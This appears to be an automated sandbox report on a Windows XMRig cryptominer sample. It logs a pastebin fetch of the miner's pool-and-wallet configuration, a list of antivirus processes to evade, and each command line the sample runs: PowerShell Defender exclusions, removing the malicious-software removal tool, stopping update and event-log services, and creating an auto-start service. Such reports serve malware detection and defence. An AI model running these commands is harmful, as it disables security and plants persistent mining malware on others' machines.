Dec 6, 2024 22:46:11.576195002 CET	1.1.1.1	192.168.2.4	0x2f1b	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Dec 6, 2024 22:46:11.576195002 CET	1.1.1.1	192.168.2.4	0x2f1b	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	172.67.19.24	443	6808	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:46:12 UTC	114	OUT	GET /raw/Cs3YCuXT HTTP/1.1 Accept: / Connection: close Host: pastebin.com User-Agent: cpp-httplib/0.12.6
2024-12-06 21:46:13 UTC	391	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:46:13 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Fri, 06 Dec 2024 21:46:13 GMT Server: cloudflare CF-RAY: 8edf77a81a5203d5-EWR
2024-12-06 21:46:13 UTC	978	IN	Data Raw: 31 35 63 38 0d 0a 7b 0d 0a 20 20 20 20 22 61 6c 67 6f 22 3a 20 22 72 78 2f 30 22 2c 0d 0a 20 20 20 20 22 70 6f 6f 6c 22 3a 20 22 78 6d 72 2d 65 75 31 2e 6e 61 6e 6f 70 6f 6f 6c 2e 6f 72 67 22 2c 0d 0a 20 20 20 20 22 70 6f 72 74 22 3a 20 31 30 33 34 33 2c 0d 0a 20 20 20 20 22 77 61 6c 6c 65 74 22 3a 20 22 38 39 4a 4a 6a 76 6f 62 68 48 62 41 46 74 44 6d 6a 79 47 6b 70 69 43 53 73 41 47 62 6e 6a 6f 77 4e 63 65 46 4b 6b 76 74 50 78 63 64 32 69 54 4d 4a 4a 4e 37 56 59 38 48 47 34 6a 63 35 65 50 6e 6a 4c 43 57 41 64 69 4b 61 72 73 65 68 51 56 34 46 56 51 73 77 56 6a 6a 54 41 7a 36 37 6b 5a 2e 52 49 47 2d 31 2f 59 65 72 65 31 31 22 2c 0d 0a 20 20 20 20 22 70 61 73 73 77 6f 72 64 22 3a 20 22 22 2c 0d 0a 20 20 20 20 22 6e 69 63 65 68 61 73 68 22 3a 20 66 61 6c 73 Data Ascii: 15c8{ "algo": "rx/0", "pool": "xmr-eu1.nanopool.org", "port": 10343, "wallet": "89JJjvobhHbAFtDmjyGkpiCSsAGbnjowNceFKkvtPxcd2iTMJJN7VY8HG4jc5ePnjLCWAdiKarsehQV4FVQswVjjTAz67kZ.RIG-1/Yere11", "password": "", "nicehash": fals
2024-12-06 21:46:13 UTC	1369	IN	Data Raw: 65 2c 61 76 67 5f 61 6e 74 69 76 69 72 75 73 5f 66 72 65 65 5f 73 65 74 75 70 2e 65 78 65 2c 41 56 49 52 41 2e 53 50 4f 54 4c 49 47 48 54 2e 42 4f 4f 54 53 54 52 41 50 50 45 52 2e 45 58 45 2c 41 56 49 52 41 2e 53 50 4f 54 4c 49 47 48 54 2e 42 4f 4f 54 53 54 52 41 50 50 45 52 2e 45 52 52 4f 52 52 45 50 4f 52 54 49 4e 47 2e 45 58 45 2c 61 76 69 72 61 5f 72 75 5f 73 70 74 6c 31 5f 31 34 37 38 31 34 36 30 38 33 2d 31 36 35 33 38 39 38 39 38 39 5f 5f 70 68 70 77 73 2e 65 78 65 2c 61 76 69 72 61 5f 72 75 5f 73 70 74 6c 31 5f 31 32 36 31 33 32 36 32 37 38 2d 31 36 36 32 39 37 34 38 37 30 5f 5f 70 61 76 77 73 2e 65 78 65 2c 73 74 61 72 74 75 70 2e 65 78 65 2c 6b 73 34 2e 30 32 31 2e 33 2e 31 30 2e 33 39 31 72 75 5f 32 35 30 30 30 2e 65 78 65 2c 6b 73 34 2e 30 32 Data Ascii: e,avg_antivirus_free_setup.exe,AVIRA.SPOTLIGHT.BOOTSTRAPPER.EXE,AVIRA.SPOTLIGHT.BOOTSTRAPPER.ERRORREPORTING.EXE,avira_ru_sptl1_1478146083-1653898989__phpws.exe,avira_ru_sptl1_1261326278-1662974870__pavws.exe,startup.exe,ks4.021.3.10.391ru_25000.exe,ks4.02
2024-12-06 21:46:13 UTC	1369	IN	Data Raw: 53 33 2e 65 78 65 2c 5a 54 53 33 2e 74 6d 70 2c 65 66 70 65 61 64 6d 2e 65 78 65 2c 56 50 4e 47 55 49 2e 65 78 65 2c 43 56 50 4e 44 2e 65 78 65 2c 49 50 53 45 43 4c 4f 47 2e 65 78 65 2c 63 66 70 2e 65 78 65 2c 66 73 64 66 77 64 2e 65 78 65 2c 66 73 67 75 69 65 78 65 2e 65 78 65 2c 62 6c 61 63 6b 64 2e 65 78 65 2c 6b 70 66 34 67 75 69 2e 65 78 65 2c 4d 53 53 43 4c 4c 2e 65 78 65 2c 4d 43 53 48 45 4c 4c 2e 65 78 65 2c 4d 50 46 53 45 52 56 49 43 45 2e 65 78 65 2c 4d 50 46 41 47 45 4e 54 2e 65 78 65 2c 6e 69 73 75 6d 2e 65 78 65 2c 73 6d 63 2e 65 78 65 2c 70 65 72 73 66 77 2e 65 78 65 2c 70 63 63 70 66 77 2e 65 78 65 2c 57 49 4e 53 53 2e 65 78 65 2c 5a 4c 43 4c 49 45 4e 54 2e 65 78 65 2c 4d 43 4f 44 53 2e 65 78 65 2c 4d 43 53 48 49 45 4c 44 2e 65 78 65 2c 6d Data Ascii: S3.exe,ZTS3.tmp,efpeadm.exe,VPNGUI.exe,CVPND.exe,IPSECLOG.exe,cfp.exe,fsdfwd.exe,fsguiexe.exe,blackd.exe,kpf4gui.exe,MSSCLL.exe,MCSHELL.exe,MPFSERVICE.exe,MPFAGENT.exe,nisum.exe,smc.exe,persfw.exe,pccpfw.exe,WINSS.exe,ZLCLIENT.exe,MCODS.exe,MCSHIELD.exe,m
2024-12-06 21:46:13 UTC	1369	IN	Data Raw: 65 2c 70 65 72 73 66 77 2e 65 78 65 2c 70 63 63 70 66 77 2e 65 78 65 2c 57 49 4e 53 53 2e 65 78 65 2c 5a 4c 43 4c 49 45 4e 54 2e 65 78 65 2c 4d 43 4f 44 53 2e 65 78 65 2c 4d 43 53 48 49 45 4c 44 2e 65 78 65 2c 6d 73 6d 70 65 6e 67 2e 65 78 65 2c 6e 61 76 61 70 73 76 63 2e 65 78 65 2c 61 76 6b 77 63 74 6c 2e 65 78 65 2c 66 73 61 76 33 32 2e 65 78 65 2c 6d 63 73 68 69 65 6c 64 2e 65 78 65 2c 6e 74 72 74 73 63 61 6e 2e 65 78 65 2c 61 76 67 75 61 72 64 2e 65 78 65 2c 61 73 68 53 65 72 76 2e 65 78 65 2c 41 56 45 4e 47 49 4e 45 2e 65 78 65 2c 61 76 67 65 6d 63 2e 65 78 65 2c 74 6d 6e 74 73 72 76 2e 65 78 65 2c 61 64 76 63 68 6b 2e 65 78 65 2c 61 68 6e 73 64 2e 65 78 65 2c 61 6c 65 72 74 73 76 63 2e 65 78 65 2c 61 76 6d 61 69 73 72 76 2e 65 78 65 2c 61 76 73 79 Data Ascii: e,persfw.exe,pccpfw.exe,WINSS.exe,ZLCLIENT.exe,MCODS.exe,MCSHIELD.exe,msmpeng.exe,navapsvc.exe,avkwctl.exe,fsav32.exe,mcshield.exe,ntrtscan.exe,avguard.exe,ashServ.exe,AVENGINE.exe,avgemc.exe,tmntsrv.exe,advchk.exe,ahnsd.exe,alertsvc.exe,avmaisrv.exe,avsy
2024-12-06 21:46:13 UTC	499	IN	Data Raw: 63 68 2e 65 78 65 2c 62 75 56 73 73 2e 65 78 65 2c 63 6c 74 4c 4d 48 2e 65 78 65 2c 63 6c 74 52 54 2e 65 78 65 2c 63 6f 49 6e 73 74 2e 65 78 65 2c 63 6f 4e 61 74 48 73 74 2e 65 78 65 2c 43 70 79 53 6e 70 74 2e 65 78 65 2c 45 46 41 49 6e 73 74 36 34 2e 65 78 65 2c 65 6c 61 6d 69 6e 73 74 2e 65 78 65 2c 46 4c 44 67 48 6f 73 74 2e 65 78 65 2c 49 6e 73 74 43 41 2e 65 78 65 2c 4d 43 55 49 33 32 2e 65 78 65 2c 4e 61 76 77 33 32 2e 65 78 65 2c 6e 63 6f 6c 6f 77 2e 65 78 65 2c 4e 6f 72 74 6f 6e 53 65 63 75 72 69 74 79 2e 65 78 65 2c 4e 53 63 2e 65 78 65 2c 6e 73 57 73 63 53 76 63 2e 65 78 65 2c 6e 75 50 65 72 66 53 63 61 6e 2e 65 78 65 2c 52 75 6c 65 55 70 2e 65 78 65 2c 53 45 46 49 6e 73 74 2e 65 78 65 2c 53 65 76 6e 74 78 36 34 2e 65 78 65 2c 53 52 54 53 50 5f Data Ascii: ch.exe,buVss.exe,cltLMH.exe,cltRT.exe,coInst.exe,coNatHst.exe,CpySnpt.exe,EFAInst64.exe,elaminst.exe,FLDgHost.exe,InstCA.exe,MCUI32.exe,Navw32.exe,ncolow.exe,NortonSecurity.exe,NSc.exe,nsWscSvc.exe,nuPerfScan.exe,RuleUp.exe,SEFInst.exe,Sevntx64.exe,SRTSP_
2024-12-06 21:46:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:45:59
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\nlGOh9K5X5.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\nlGOh9K5X5.exe"
Imagebase:	0x7ff707f10000
File size:	7'198'720 bytes
MD5 hash:	6369AD2A31D25FA131268F312B0C9D03
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:45:59
Start date:	06/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:45:59
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:46:03
Start date:	06/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7d0220000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:46:03
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:46:03
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:46:03
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:46:03
Start date:	06/12/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6be590000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:46:03
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:46:03
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:46:03
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:46:03
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff707360000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff707360000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff707360000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff707360000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "HZIWFEGQ"
Imagebase:	0x7ff7699e0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:46:04
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "HZIWFEGQ" binpath= "C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe" start= "auto"
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:46:05
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:46:05
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:46:05
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "HZIWFEGQ"
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:46:05
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:46:05
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:46:05
Start date:	06/12/2024
Path:	C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe
Imagebase:	0x7ff62c3e0000
File size:	7'198'720 bytes
MD5 hash:	6369AD2A31D25FA131268F312B0C9D03
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, Author: unknown Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 74%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:46:05
Start date:	06/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:46:05
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7d0220000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6be590000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6a9f20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	16:46:08
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
